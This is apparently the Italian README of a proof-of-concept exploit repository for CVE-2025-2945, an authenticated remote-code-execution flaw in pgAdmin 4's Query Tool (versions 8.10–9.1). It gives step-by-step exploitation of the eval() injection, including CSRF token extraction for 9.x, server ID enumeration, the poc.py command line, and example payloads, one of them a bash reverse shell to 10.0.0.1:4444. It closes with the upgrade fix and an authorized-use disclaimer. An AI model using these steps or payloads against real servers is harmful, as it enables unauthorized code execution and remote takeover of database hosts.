
RCE autenticata in pgAdmin 4 (8.10–9.1) tramite iniezione di eval() nel Query Tool. Questo è un PoC aggiornato con correzioni di compatibilità per le modifiche all'autenticazione di pgAdmin 9.x
Proof of concept per CVE-2025-2945, una vulnerabilità critica di esecuzione remota di codice in pgAdmin 4.
Versioni interessate: dalla 8.10 alla 9.1
Corretta nella: 9.2 (rilasciata il 4 aprile 2025)
CVSS v3.1: 9.9 (Critico)
Il Query Tool di pgAdmin 4 espone un endpoint che accetta un parametro query_commited e lo passa direttamente alla funzione eval() integrata di Python senza alcuna sanitizzazione. Un attaccante autenticato può inviare codice Python arbitrario tramite questo parametro e farlo eseguire lato server con l'account di servizio di pgAdmin.
L'endpoint vulnerabile è:
POST /sqleditor/query_tool/download/<trans_id>
Il campo query_commited nel corpo JSON viene valutato come codice Python sul server.
Nelle versioni di pgAdmin 4 precedenti alla 9.2, l'handler di download del query tool chiama eval() su input fornito dall'utente:
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
Non viene applicata alcuna validazione dell'input, sandboxing o allowlist. Qualsiasi espressione Python valida viene eseguita con i privilegi del processo pgAdmin.
/authenticate/login, ottieni un cookie di sessione e il token CSRF/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> con le credenziali del database per stabilire una sessione del query tool/sqleditor/get_server_connection/<sgid>/<sid> iterando sugli ID finché uno non restituisce data.status == true/sqleditor/query_tool/download/<trans_id> con {"query_commited": "<python payload>"} e ricevi una risposta 500 che conferma l'esecuzioneLe versioni precedenti di pgAdmin incorporavano il token CSRF in un campo <input> nascosto o in un cookie. La versione 9.x è passata a un'architettura React SPA in cui il token è incorporato come JSON all'interno di una chiamata window.renderSecurityPage() nella pagina /login:
"csrfToken": "<token value>"
Il token ha ambito di sessione (Flask-WTF / itsdangerous), quindi il token ottenuto dalla GET /login iniziale rimane valido per l'intera sessione e può essere riutilizzato per tutte le chiamate API successive.
pgAdmin 9.x ha suddiviso la rotta di login:
GET /login — restituisce la pagina di login (contiene il token CSRF)POST /authenticate/login — elabora le credenzialiI PoC più vecchi che inviano POST direttamente a /login riceveranno un 404 o 405 sulle istanze 9.x.
pip install requests faker
python3 poc.py \
--rhost <target_host> \
--username <pgadmin_email> \
--password <pgadmin_password> \
--db-user <db_username> \
--db-pass <db_password> \
--db-name <database_name> \
--payload "<python_expression>"
| Argomento | Descrizione |
|---|---|
--rhost | Hostname o IP del target (senza schema) |
--rport | Porta del target (predefinita: 80) |
--username | Email di accesso a pgAdmin |
--password | Password di accesso a pgAdmin |
--db-user | Nome utente PostgreSQL |
--db-pass | Password PostgreSQL |
--db-name | Nome del database |
--payload | Espressione Python da valutare sul server |
--max-server-id | Numero massimo di ID server da sondare (predefinito: 10) |
Esecuzione di comandi:
--payload "__import__('os').system('id')"
Reverse shell:
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/Aggiorna a pgAdmin 4 versione 9.2 o successiva.
Questo repository è destinato esclusivamente a scopi educativi e di test autorizzati. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai ricevuto un'esplicita autorizzazione al test.